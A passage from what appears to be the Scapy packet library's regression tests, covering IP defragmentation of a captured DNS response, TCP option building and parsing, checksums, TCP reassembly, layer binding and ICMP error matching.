base64.b64decode('bnmYJ63mREVTUwEACABFAAV0U8UgrDIR+kEEAgIECv0DxApz1F5olFRytjhNlG/JbdW0NSAFeUUF4rBRqsly/h6nFWKoQfih35Lm+BFLE0FoMaikWCjGJQIuf0CXiElMSQifiDM+KTeecNkCgTXADAAuAAEAAAOEARsAMAgCAAADhFlpvY1ZYHT9VwUDbnljA2dvdgAdRZxvC6VlbYUVarYjan0/PlP70gSz1SiYCDZyw5dsGo9vrZd+lMcAm5GFjtKYDXeCb5gVuegzHSNzxDQOa5lVKLQZfXgVHsl3jguCpYwKAygRR3mLBGtnhPrbYcPGMOzIxO6/UE5Hltx9SDqKNe2+rtVeZs5FyHQE5pTVGVjNED9iaauEW9UF3bwEP3K+wLgxWeVycjNry/l4vt9Z0fyTU15kogCZG8MXyStJlzIgdzVZRB96gTJbGBDRFQJfbE2Af+INl0HRY4p+bqQYwFomWg6Tzs30LcqAnkptknb5peUNmQTBI/MU00A6NeVJxkKK3+lf2EuuiJl+nFpfWiKpwAwAMwABAAADhAAJAQAADASqu8zdwAwALgABAAADhACbADMIAgAAA4RZab2NWWB0/SZ9A255YwNnb3YAVhcqgSl33lqjLLFR8pQ2cNhdX7dKZ2gRy0vUHOa+980Nljcj4I36rfjEVJCLKodpbseQl0OeTsbfNfqOmi1VrsypDl+YffyPMtHferm02xBK0agcTMdP/glpuKzdKHTiHTlnSOuBpPnEpgxYPNeBGx8yzMvIaU5rOCxuO49Sh/PADAACAAEAAAOEAAoHdndhbGw0YcAMwAwAAgABAAADhAAKB3Z3YWxsMmHADMAMAAIAAQAAA4QACgd2d2FsbDNhwAzADAACAAEAAAOEAAoHdndhbGwxYcAMwAwALgABAAADhACbAAIIAgAAA4RZab2NWWB0/SZ9A255YwNnb3YANn7LVY7YsKLtpH7LKhUz0SVsM/Gk3T/V8I9wIEZ4vEklM9hI92D2aYe+9EKxOts+/py6itZfANXU197pCufktASDxlH5eWSc9S2uqrRnUNnMUe4p3Jy9ZCGhiHDemgFphKGWYTNZUJoML2+SDzbv9tXo4sSbZiKJCDkNdzSv2lfADAAQAAEAAAOEAEVEZ29vZ2xlLXNpdGUtdmVyaWZpY2F0aW9uPWMycnhTa2VPZUxpSG5iY24tSXhZZm5mQjJQcTQzU3lpeEVka2k2ODZlNDTADAAQAAEAAAOEADc2dj1zcGYxIGlwNDoxNjEuMTg1LjIuMC8yNSBpcDQ6MTY3LjE1My4xMzIuMC8yNSBteCAtYWxswAwALgABAAADhACbABAIAgAAA4RZab2NWWB0/SZ9A255YwNnb3YAjzLOj5HUtVGhi/emNG90g2zK80hrI6gh2d+twgVLYgWebPeTI2D2ylobevXeq5rK5RQgbg2iG1UiTBnlKPgLPYt8ZL+bi+/v5NTaqHfyHFYdKzZeL0dhrmebRbYzG7tzOllcAOOqieeO29Yr4gz1rpiU6g75vkz6yQoHNfmNVMXADAAPAAEAAAOEAAsAZAZ2d2FsbDLADMAMAA8AAQAAA4QACwBkBnZ3YWxsNMAMwAwADwABAAADhAALAAoGdndhbGwzwAzADAAPAAEAAAOEAAsACgZ2d2FsbDXADMAMAA8AAQAAA4QACwAKBnZ3YWxsNsAMwAwADwABAAADhAALAAoGdndhbGw3wAzADAAPAAEAAAOEAAsACgZ2d2FsbDjADMAMAA8AAQAAA4QACwBkBnZ3YWxsMcAMwAwALgABAAADhACbAA8IAgAAA4RZab2NWWB0/SZ9A255YwNnb3YAooXBSj6PfsdBd8sEN/2AA4cvOl2bcioO')\nc = base64.b64decode('bnmYJ63mREVTUwEACABFAAFHU8UBWDIRHcMEAgIECv0DxDtlufeCT1zQktat4aEVA8MF0FO1sNbpEQtqfu5Al//OJISaRvtaArR/tLUj2CoZjS7uEnl7QpP/Ui/gR0YtyLurk9yTw7Vei0lSz4cnaOJqDiTGAKYwzVxjnoR1F3n8lplgQaOalVsHx9UAAQABAAADLAAEobkBA8epAAEAAQAAAywABKG5AQzHvwABAAEAAAMsAASnmYIMx5MAAQABAAADLAAEp5mCDcn9AAEAAQAAAqUABKeZhAvKFAABAAEAAAOEAAShuQIfyisAAQABAAADhAAEobkCKcpCAAEAAQAAA4QABKG5AjPKWQABAAEAAAOEAAShuQI9ynAAAQABAAADhAAEobkCC8nPAAEAAQAAA4QABKG5AgzJ5gABAAEAAAOEAASnmYQMAAApIAAAAAAAAAA=')\nd = base64.b64decode('////////REVTUwEACABFAABOawsAAIARtGoK/QExCv0D/wCJAIkAOry/3wsBEAABAAAAAAAAIEVKRkRFQkZFRUJGQUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAEAABYP/WUAAB6N4XIAAB6E4XsAAACR/24AADyEw3sAABfu6BEAAAkx9s4AABXB6j4AAANe/KEAAAAT/+wAAB7z4QwAAEuXtGgAAB304gsAABTB6z4AAAdv+JAAACCu31EAADm+xkEAABR064sAABl85oMAACTw2w8AADrKxTUAABVk6psAABnF5joAABpA5b8AABjP5zAAAAqV9WoAAAUW+ukAACGS3m0AAAEP/vAAABoa5eUAABYP6fAAABX/6gAAABUq6tUAADXIyjcAABpy5Y0AABzb4yQAABqi5V0AAFXaqiUAAEmRtm4AACrL1TQAAESzu0wAAAzs8xMAAI7LcTQAABxN47IAAAbo+RcAABLr7RQAAB3Q4i8AAAck+NsAABbi6R0AAEdruJQAAJl+ZoEAABDH7zgAACOA3H8AAAB5/4YAABQk69sAAEo6tcUAABJU7asAADO/zEAAABGA7n8AAQ9L8LMAAD1DwrwAAB8F4PoAABbG6TkAACmC1n0AAlHErjkAABG97kIAAELBvT4AAEo0tcsAABtC5L0AAA9u8JEAACBU36sAAAAl/9oAABBO77EAAA9M8LMAAA8r8NQAAAp39YgAABB874MAAEDxvw4AAEgyt80AAGwsk9MAAB1O4rEAAAxL87QAADtmxJkAAATo+xcAAAM8/MMAABl55oYAACKh3V4AACGj3lwAAE5ssZMAAC1x0o4AAAO+/EEAABNy7I0AACYp2dYAACb+2QEAABB974IAABc36MgAAA1c8qMAAAf++AEAABDo7xcAACLq3RUAAA8L8PQAAAAV/+oAACNU3KsAABBv75AAABFI7rcAABuH5HgAABAe7+EAAB++4EEAACBl35oAAB7c4SMAADgJx/YAADeVyGoAACKN3XIAAA/C8D0AAASq+1UAAOHPHjAAABRI67cAAABw/48=')\n\nwith no_debug_dissector():\n    plist = PacketList([Ether(x) for x in [a, b, c, d]])\n\nleft, defragmented, errored = defrag(plist)\nassert len(left) == 1\nassert left[0] == Ether(d)\nassert len(defragmented) == 1\nassert len(defragmented[0]) == 3093\nassert defragmented[0][DNSRR].rrname == b'nyc.gov.'\nassert len(errored) == 0\n\nplist_def = defragment(plist)\nassert len(plist_def) == 2\nassert len(plist_def[0]) == 3093\nassert plist_def[0][DNSRR].rrname == b'nyc.gov.'\n\n= Packet().fragment()\npayloadlen, fragsize = 100, 8\nassert fragsize % 8 == 0\nfragcount = (payloadlen // fragsize) + bool(payloadlen % fragsize)\n* create the packet\npkt = IP() / (\"X\" * payloadlen)\n* create the fragments\nfrags = pkt.fragment(fragsize)\n* count the fragments\nassert len(frags) == fragcount\n* each fragment except the last one should have MF set\nassert all(p.flags == 1 for p in frags[:-1])\nassert frags[-1].flags == 0\n* each fragment except the last one should have a payload of fragsize bytes\nassert all(len(p.payload) == 8 for p in frags[:-1])\nassert len(frags[-1].payload) == ((payloadlen % fragsize) or fragsize)\n\n= Packet().fragment() and overloaded_fields\npkt1 = Ether() / IP() / UDP()\npkt2 = pkt1.fragment()[0]\npkt3 = pkt2.__class__(raw(pkt2))\nassert pkt1[IP].proto == pkt2[IP].proto == pkt3[IP].proto\n\n= Packet().fragment() already fragmented packets\npayloadlen = 1480 * 3\nffrags = (IP() / (\"X\" * payloadlen)).fragment(1480)\nffrags = reduce(lambda x, y: x + y, (pkt.fragment(1400) for pkt in ffrags))\nlen(ffrags) == 6\n* each fragment except the last one should have MF set\nassert all(p.flags == 1 for p in ffrags[:-1])\nassert ffrags[-1].flags == 0\n* fragment offset should be well computed\nplen = 0\nfor p in ffrags:\n    assert p.frag == plen / 8\n    plen += len(p.payload)\n\nassert plen == payloadlen\n\n\n############\n############\n+ TCP/IP tests\n~ tcp\n\n= TCP options: UTO - basic build\nraw(TCP(options=[(\"UTO\", 0xffff)])) == b\"\\x00\\x14\\x00\\x50\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x60\\x02\\x20\\x00\\x00\\x00\\x00\\x00\\x1c\\x04\\xff\\xff\"\n\n= TCP options: UTO - basic dissection\nuto = TCP(b\"\\x00\\x14\\x00\\x50\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x60\\x02\\x20\\x00\\x00\\x00\\x00\\x00\\x1c\\x04\\xff\\xff\")\nuto[TCP].options[0][0] == \"UTO\" and uto[TCP].options[0][1] == 0xffff\n\n= TCP options: SAck - basic build\nraw(TCP(options=[(5, b\"abcdefgh\")])) == b\"\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x02 \\x00\\x00\\x00\\x00\\x00\\x05\\nabcdefgh\\x00\\x00\"\n\n= TCP options: SAck - basic dissection\nsack = TCP(b\"\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x02 \\x00\\x00\\x00\\x00\\x00\\x05\\nabcdefgh\\x00\\x00\")\nsack[TCP].options[0][0] == \"SAck\" and sack[TCP].options[0][1] == (1633837924, 1701209960)\n\n= TCP options: SAckOK - basic build\nraw(TCP(options=[('SAckOK', b'')])) == b\"\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00`\\x02 \\x00\\x00\\x00\\x00\\x00\\x04\\x02\\x00\\x00\"\n\n= TCP options: SAckOK - basic dissection\nsackok = TCP(b\"\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00`\\x02 \\x00\\x00\\x00\\x00\\x00\\x04\\x02\\x00\\x00\")\nsackok[TCP].options[0][0] == \"SAckOK\" and sackok[TCP].options[0][1] == b''\n\n= TCP options: EOL - basic build\nraw(TCP(options=[(0, '')])) == b\"\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00`\\x02 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\n= TCP options: EOL - basic dissection\neol = TCP(b\"\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00`\\x02 \\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\")\neol[TCP].options[0][0] == \"EOL\" and eol[TCP].options[0][1] == None\n\n= TCP options: malformed - build\nraw(TCP(options=[('unknown', b'')])) == raw(TCP())\n\n= TCP options: malformed - dissection\nraw(TCP(b\"\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00`\\x02 \\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\")) == b\"\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00`\\x02 \\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\"\n\n= TCP options: wrong offset\nTCP(raw(TCP(dataofs=11)/b\"o\"))\n\n= TCP options: MPTCP - basic build using bytes\nraw(TCP(options=[(30, b\"\\x10\\x03\\xc1\\x1c\\x95\\x9b\\x81R_1\")])) == b\"\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x02 \\x00\\x00\\x00\\x00\\x00\\x1e\\x0c\\x10\\x03\\xc1\\x1c\\x95\\x9b\\x81R_1\"\n\n= TCP options: MD5 build and parse\nmd5sig = b\"0123456789abcdef\"\np = IP() / TCP(options=[('MD5', md5sig)])\nmd5opt = IP(raw(p))[TCP].options[0]\nmd5opt[0] == 'MD5'\nmd5opt[1] == md5sig\n\n= TCP options: MD5 IPv4 (depends on default values)\np = IP() / TCP()\nmac = calc_tcp_md5_hash(p[TCP], b\"12345\")\nassert mac == bytearray.fromhex(\"797e69f8dbe44a8b84f687a2832595ed\")\n\n= TCP options: MD5 IPv6 (depends on default values)\np = IPv6() / TCP()\nmac = calc_tcp_md5_hash(p[TCP], b\"12345\")\nassert mac == bytearray.fromhex(\"3711309b0305a4269ec5dbc27183e9a0\")\n\n= TCP options: MD5 sign (depends on default values)\np = IP() / TCP()\nsign_tcp_md5(p[TCP], b\"12345\")\nraw(p[TCP]) == bytearray.fromhex(\"001400500000000000000000a0022000fec200001312797e69f8dbe44a8b84f687a2832595ed0000\")\nmd5opt = IP(raw(p))[TCP].options[0]\nmd5opt[1] == bytearray.fromhex(\"797e69f8dbe44a8b84f687a2832595ed\")\n\n= TCP Authentication Option: build\nopt = TCPAOValue(keyid=1, rnextkeyid=2, mac=b\"FAKE\")\nassert opt.keyid == 1\nassert opt.rnextkeyid == 2\nassert opt.mac == b\"FAKE\"\nassert bytes(opt) == b\"\\x01\\x02FAKE\"\n\n= TCP Authentication Option: parse\nopt = TCPAOValue(b\"\\x01\\x02FAKE\")\nassert opt.keyid == 1\nassert opt.rnextkeyid == 2\nassert opt.mac == b\"FAKE\"\n\n= TCP Authentication Option: parse from TCP\np = IP(bytes.fromhex(\"45e0004cdd0f4000ff06bf6b0a0b0c0dac1b1c1de9d700b3fbfbab5a00000000e002ffffcac40000020405b4010303080402080a00155ab7000000001d103d542ee437c6f8ede6d7c4d602e7\"))\ntcpao = get_tcpao(p[TCP])\nassert isinstance(tcpao, TCPAOValue)\nassert tcpao.keyid == 61\nassert tcpao.rnextkeyid == 84\nassert tcpao.mac == bytearray.fromhex(\"2ee437c6f8ede6d7c4d602e7\")\n\n= TCP Authentication Option: build TCP\np = TCP(options=[('AO', TCPAOValue(keyid=1, rnextkeyid=2, mac=b\"3456\"))])\np.summary()\nprint(bytes(p))\nassert bytes(p).endswith(b\"\\x01\\x023456\")\n\n= TCP options: invalid data offset\ndata = b'\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x02 \\x00\\x1b\\xb8\\x00\\x00\\x02\\x04\\x05\\xb4\\x04\\x02\\x08\\x06\\xf7\\xa26C\\x00\\x00\\x00\\x00\\x01\\x03\\x03\\x07'\np = TCP(data)\nassert TCP in p and Raw in p and len(p.options) == 3\n\n= TCP options: build oversized packet\n\nraw(TCP(options=[('TFO', (1607681672, 2269173587)), ('AltChkSum', (81, 27688)), ('TFO', (253281879, 1218258937)), ('Timestamp', (1613741359, 4215831072)), ('Timestamp', (3856332598, 1434258666))]))\n\n= TCP random options\npkt = TCP()\nrandom.seed(0x2807)\npkt = fuzz(pkt)\noptions = pkt.options._fix()\noptions\n\n= TCP random options - MD5 (#GH3777)\nrandom.seed(0x2813)\npkt = TCP(options=RandTCPOptions()._fix())\nassert pkt.options[0][0] == \"MD5\"\nassert pkt.options[0][1] == (b'\\xe3\\xa0,\\xdc\\xe4\\xae\\x87\\x18\\xad{\\xab\\xd0b\\x12\\x9c\\xd6',)\nassert TCP(bytes(pkt)).options[0][0] == \"MD5\"\n\n= IP, TCP & UDP checksums (these tests highly depend on default values)\npkt = IP() / TCP()\nbpkt = IP(raw(pkt))\nassert bpkt.chksum == 0x7ccd and bpkt.payload.chksum == 0x917c\n\npkt = IP(len=40) / TCP()\nbpkt = IP(raw(pkt))\nassert bpkt.chksum == 0x7ccd and bpkt.payload.chksum == 0x917c\n\npkt = IP(len=40, ihl=5) / TCP()\nbpkt = IP(raw(pkt))\nassert bpkt.chksum == 0x7ccd and bpkt.payload.chksum == 0x917c\n\npkt = IP() / TCP() / (\"A\" * 10)\nbpkt = IP(raw(pkt))\nassert bpkt.chksum == 0x7cc3 and bpkt.payload.chksum == 0x4b2c\n\npkt = IP(len=50) / TCP() / (\"A\" * 10)\nbpkt = IP(raw(pkt))\nassert bpkt.chksum == 0x7cc3 and bpkt.payload.chksum == 0x4b2c\n\npkt = IP(len=50, ihl=5) / TCP() / (\"A\" * 10)\nbpkt = IP(raw(pkt))\nassert bpkt.chksum == 0x7cc3 and bpkt.payload.chksum == 0x4b2c\n\npkt = IP(options=[IPOption_RR()]) / TCP() / (\"A\" * 10)\nbpkt = IP(raw(pkt))\nassert bpkt.chksum == 0x70bc and bpkt.payload.chksum == 0x4b2c\n\npkt = IP(len=54, options=[IPOption_RR()]) / TCP() / (\"A\" * 10)\nbpkt = IP(raw(pkt))\nassert bpkt.chksum == 0x70bc and bpkt.payload.chksum == 0x4b2c\n\npkt = IP(len=54, ihl=6, options=[IPOption_RR()]) / TCP() / (\"A\" * 10)\nbpkt = IP(raw(pkt))\nassert bpkt.chksum == 0x70bc and bpkt.payload.chksum == 0x4b2c\n\npkt = IP(options=[IPOption_Timestamp()]) / TCP() / (\"A\" * 10)\nbpkt = IP(raw(pkt))\nassert bpkt.chksum == 0x2caa and bpkt.payload.chksum == 0x4b2c\n\npkt = IP() / UDP()\nbpkt = IP(raw(pkt))\nassert bpkt.chksum == 0x7cce and bpkt.payload.chksum == 0x0172\n\npkt = IP(len=28) / UDP()\nbpkt = IP(raw(pkt))\nassert bpkt.chksum == 0x7cce and bpkt.payload.chksum == 0x0172\n\npkt = IP(len=28, ihl=5) / UDP()\nbpkt = IP(raw(pkt))\nassert bpkt.chksum == 0x7cce and bpkt.payload.chksum == 0x0172\n\n* Invalid territory\nconf.debug_dissector = False\n\npkt = IP() / UDP() / (\"A\" * 10)\nbpkt = IP(raw(pkt))\nassert bpkt.chksum == 0x7cc4 and bpkt.payload.chksum == 0xbb17\n\npkt = IP(len=38) / UDP() / (\"A\" * 10)\nbpkt = IP(raw(pkt))\nassert bpkt.chksum == 0x7cc4 and bpkt.payload.chksum == 0xbb17\n\npkt = IP(len=38, ihl=5) / UDP() / (\"A\" * 10)\nbpkt = IP(raw(pkt))\nassert bpkt.chksum == 0x7cc4 and bpkt.payload.chksum == 0xbb17\n\npkt = IP(options=[IPOption_RR()]) / UDP() / (\"A\" * 10)\nbpkt = IP(raw(pkt))\nassert bpkt.chksum == 0x70bd and bpkt.payload.chksum == 0xbb17\n\npkt = IP(len=42, options=[IPOption_RR()]) / UDP() / (\"A\" * 10)\nbpkt = IP(raw(pkt))\nassert bpkt.chksum == 0x70bd and bpkt.payload.chksum == 0xbb17\n\npkt = IP(len=42, ihl=6, options=[IPOption_RR()]) / UDP() / (\"A\" * 10)\nbpkt = IP(raw(pkt))\nassert bpkt.chksum == 0x70bd and bpkt.payload.chksum == 0xbb17\n\nconf.debug_dissector = True\n\n= IP with forced-length 0\np = IP()/TCP()\np[IP].len = 0\np = IP(raw(p))\n\nassert p.len == 0\n\n= TCP payload with IP Total Length 0\ndata = b'1234567890abcdef123456789ABCDEF'\npkt = IP()/TCP()/data\npkt2 = IP(raw(pkt))\npkt2.len = 0\npkt3 = IP(raw(pkt2))\nassert pkt3.load == data\n\n= TCPSession: test tcp_reassemble with variable orders\n\nclass CustomPacket(Packet):\n    fields_desc = [\n        ByteField(\"len\", 0),\n        StrLenField(\"a\", 0, length_from=lambda pkt: pkt.len - 1),\n    ]\n    @classmethod\n    def tcp_reassemble(cls, data, metadata, session):\n        length = struct.unpack(\"!B\", data[:1])[0]\n        if len(data) < length:\n            return None\n        return CustomPacket(data)\n\n\n# above we have a CustomPacket that is X bytes long.\nbind_layers(TCP, CustomPacket, sport=12345)\n\nwith no_debug_dissector(reverse=True):\n    # incremental order\n    pkts = sniff(offline=[\n        IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(sport=12345, dport=12, seq=1)/b\"\\x05a\",\n        IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(sport=12345, dport=12, seq=3)/\"b\",\n        IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(sport=12345, dport=12, seq=4)/\"c\",\n        IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(sport=12345, dport=12, seq=5)/\"d\",\n    ], session=TCPSession)\n    assert pkts[0][CustomPacket].a == b\"abcd\", \"incremental failure\"\n    # same with a pcapng\n    tmp_file = get_temp_file()\n    wrpcap(tmp_file, [\n        IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(sport=12345, dport=12, seq=1)/b\"\\x05a\",\n        IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(sport=12345, dport=12, seq=3)/\"b\",\n        IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(sport=12345, dport=12, seq=4)/\"c\",\n        IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(sport=12345, dport=12, seq=5)/\"d\",\n    ])\n    pkts = sniff(offline=tmp_file, session=TCPSession)\n    assert pkts[0][CustomPacket].a == b\"abcd\", \"pcapng failure\"\n    # messed up order: fragments 2 and 3 arrive in the wrong order\n    pkts = sniff(offline=[\n        IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(sport=12345, dport=12, seq=1)/b\"\\x05a\",\n        IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(sport=12345, dport=12, seq=4)/\"c\",\n        IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(sport=12345, dport=12, seq=3)/\"b\",\n        IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(sport=12345, dport=12, seq=5)/\"d\",\n    ], session=TCPSession)\n    assert pkts[0][CustomPacket].a == b\"abcd\", \"messed up order 1 failure\"\n    # messed up order: fragment 1 arrives not in first position\n    pkts = sniff(offline=[\n        IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(sport=12345, dport=12, seq=6)/\"e\",\n        IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(sport=12345, dport=12, seq=4)/\"c\",\n        IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(sport=12345, dport=12, seq=3)/\"b\",\n        IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(sport=12345, dport=12, seq=5)/\"d\",\n        IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(sport=12345, dport=12, seq=1)/b\"\\x06a\",\n    ], session=TCPSession)\n    assert pkts[0][CustomPacket].a == b\"abcde\", \"messed up order 2 failure\"\n    # retransmitted packets\n    pkts = sniff(offline=[\n        IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(sport=12345, dport=12, seq=6)/\"e\",\n        IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(sport=12345, dport=12, seq=4)/\"c\",\n        IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(sport=12345, dport=12, seq=6)/\"e\",\n        IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(sport=12345, dport=12, seq=3)/\"b\",\n        IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(sport=12345, dport=12, seq=5)/\"d\",\n        IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(sport=12345, dport=12, seq=6)/\"e\",\n        IP(dst=\"1.1.1.1\", src=\"2.2.2.2\")/TCP(sport=12345, dport=12, seq=1)/b\"\\x06a\",\n    ], session=TCPSession)\n    assert pkts[0][CustomPacket].a == b\"abcde\", \"retransmitted failure\"\n\nsplit_layers(TCP, CustomPacket, sport=12345)\n\n\n= Layer binding\n\n* Test DestMACField & DestIPField\npkt = Ether(raw(Ether()/IP()/UDP(dport=5353)/DNS()))\nassert isinstance(pkt, Ether) and pkt.dst == '01:00:5e:00:00:fb'\npkt = pkt.payload\nassert isinstance(pkt, IP) and pkt.dst == '224.0.0.251'\npkt = pkt.payload\nassert isinstance(pkt, UDP) and pkt.dport == 5353\npkt = pkt.payload\nassert isinstance(pkt, DNS) and isinstance(pkt.payload, NoPayload)\n\n* Same with IPv6\npkt = Ether(raw(Ether()/IPv6()/UDP(dport=5353)/DNS()))\nassert isinstance(pkt, Ether) and pkt.dst == '33:33:00:00:00:fb'\npkt = pkt.payload\nassert isinstance(pkt, IPv6) and pkt.dst == 'ff02::fb'\npkt = pkt.payload\nassert isinstance(pkt, UDP) and pkt.dport == 5353\npkt = pkt.payload\nassert isinstance(pkt, DNS) and isinstance(pkt.payload, NoPayload)\n\n= Layer binding with show()\n* getmacbyip must only be called when building\n\nfrom unittest import mock\n\ndef _err(*_):\n    raise ValueError\n\nwith mock.patch(\"scapy.layers.l2.getmacbyip\", side_effect=_err):\n    with mock.patch(\"scapy.layers.inet.getmacbyip\", side_effect=_err):\n        # ARP who-has should never call getmacbyip\n        pkt1 = Ether() / ARP(pdst=\"10.0.0.1\")\n        pkt1.show()\n        bytes(pkt1)\n        # IP should only call getmacbyip when building\n        pkt2 = Ether() / IP(dst=\"10.0.0.1\")\n        pkt2.show()\n        try:\n            bytes(pkt2)\n            assert False, \"Should have called getmacbyip\"\n        except ValueError:\n            pass\n\n= GRE binding tests\n\n* Test GRE-in-IP\npkt = Ether(raw(Ether()/IP()/GRE()/IP()/UDP()))\nassert isinstance(pkt, Ether)\npkt = pkt.payload\nassert isinstance(pkt, IP) and pkt.proto == 47\npkt = pkt.payload\nassert isinstance(pkt, GRE) and pkt.proto == 0x0800\npkt = pkt.payload\nassert isinstance(pkt, IP)\npkt = pkt.payload\nassert isinstance(pkt, UDP)\n\n* Test GRE-in-IPv6\npkt = Ether(raw(Ether()/IPv6()/GRE()/IPv6()/UDP()))\nassert isinstance(pkt, Ether)\npkt = pkt.payload\nassert isinstance(pkt, IPv6) and pkt.nh == 47\npkt = pkt.payload\nassert isinstance(pkt, GRE) and pkt.proto == 0x86dd\npkt = pkt.payload\nassert isinstance(pkt, IPv6)\npkt = pkt.payload\nassert isinstance(pkt, UDP)\n\n* Test GRE-in-UDP\npkt = Ether(raw(Ether()/IP()/UDP()/GRE()/IP()/UDP()))\nassert isinstance(pkt, Ether)\npkt = pkt.payload\nassert isinstance(pkt, IP)\npkt = pkt.payload\nassert isinstance(pkt, UDP) and pkt.dport == 4754\npkt = pkt.payload\nassert isinstance(pkt, GRE) and pkt.proto == 0x0800\npkt = pkt.payload\nassert isinstance(pkt, IP)\npkt = pkt.payload\nassert isinstance(pkt, UDP)\n\n* Test GRE-in-UDP (IPv6)\npkt = Ether(raw(Ether()/IPv6()/UDP()/GRE()/IPv6()/UDP()))\nassert isinstance(pkt, Ether)\npkt = pkt.payload\nassert isinstance(pkt, IPv6)\npkt = pkt.payload\nassert isinstance(pkt, UDP) and pkt.dport == 4754\npkt = pkt.payload\nassert isinstance(pkt, GRE) and pkt.proto == 0x86dd\npkt = pkt.payload\nassert isinstance(pkt, IPv6)\npkt = pkt.payload\nassert isinstance(pkt, UDP)\n\n############\n############\n+ inet.py\n\n= IPv4 - ICMPTimeStampField\ntest = ICMPTimeStampField(\"test\", None)\nvalue = test.any2i(\"\", \"07:28:28.07\")\nvalue == 26908070\ntest.i2repr(\"\", value) == '7:28:28.70'\n\n= IPv4 - UDP null checksum\nwith no_debug_dissector():\n    IP(raw(IP()/UDP()/Raw(b\"\\xff\\xff\\x01\\x6a\")))[UDP].chksum == 0xFFFF\n\n= IPv4 - (IP|UDP|TCP|ICMP)Error\nquery = IP(dst=\"192.168.0.1\", src=\"192.168.0.254\", ttl=1)/UDP()/DNS()\nanswer = IP(dst=\"192.168.0.254\", src=\"192.168.0.2\", ttl=1)/ICMP()/IPerror(dst=\"192.168.0.1\", src=\"192.168.0.254\", ttl=0)/UDPerror()/DNS()\n\nquery = IP(dst=\"192.168.0.1\", src=\"192.168.0.254\", ttl=1)/UDP()/DNS()\nanswer = IP(dst=\"192.168.0.254\", src=\"192.168.0.2\")/ICMP(type=11)/IPerror(dst=\"192.168.0.1\", src=\"192.168.0.254\", ttl=0)/UDPerror()/DNS()\nassert answer.answers(query) == True\n\nquery = IP(dst=\"192.168.0.1\", src=\"192.168.0.254\", ttl=1)/TCP()\nanswer = IP(dst=\"192.168.0.254\", src=\"192.168.0.2\")/ICMP(type=11)/IPerror(dst=\"192.168.0.1\", src=\"192.168.0.254\", ttl=0)/TCPerror()\n\nassert answer.answers(query) == True\n\nquery = IP(dst=\"192.168.0.1\", src=\"192.168.0.254\", ttl=1)/ICMP()/\"scapy\"\nanswer = IP(dst=\"192.168.0.254\", src=\"192.168.0.2\")/ICMP(type=11)/IPerror(dst=\"192.168.0.1\", src=\"192.168.0.254\", ttl=0)/ICMPerror()/\"scapy\"\nassert answer.answers(query) == True\n\n= IPv4 - TCPError parsing\npkt = Ether(bytes.fromhex('005056a4302ffcbd676360c908004500003800000000f80164b6682ce6b70ad504560b004f410000000045000028400e00000106fdae0ad50456681204d7f73100507d4430f8'))\nassert TCPerror in pkt and pkt[TCPerror].sport == 63281 and pkt[TCPerror].dport == 80\n\n= IPv4 - mDNS\na = IP(dst=\"224.0.0.251\")\nassert a.hashret() == b\"\\x00\"\n\n# TODO add real case here\n\n= IPv4 - utilities\nl = overlap_frag(IP(dst=\"1.2.3.4\")/ICMP()/(\"AB\"*8), ICMP()/(\"CD\"*8))\nassert len(l) == 6\nassert [len(raw(p[IP].payload)) for p in l] == [8, 8, 8, 8, 8, 8]\nassert [(p.frag, p.flags.MF) for p in [IP(raw(p)) for p in l]] == [(0, True), (1, True), (2, True), (0, True), (1, True), (2, False)]\n\n= IPv4 - ICMP hashret\nfor x in ICMP(type=range(0,40),code=range(0,40)):\n    (IP()/x).hashret()\n\n= IPv4 - traceroute utilities\nip_ttl = [(\"192.168.0.%d\" % i, i) for i in range(1, 10)]\n\ntr_packets = [ (IP(dst=\"192.168.0.1\", src=\"192.168.0.254\", ttl=ttl)/TCP(options=[(\"Timestamp\", \"00:00:%.2d.00\" % ttl)])/\"scapy\",\n                IP(dst=\"192.168.0.254\", src=ip)/ICMP(type=11)/IPerror(dst=\"192.168.0.1\", src=\"192.168.0.254\", 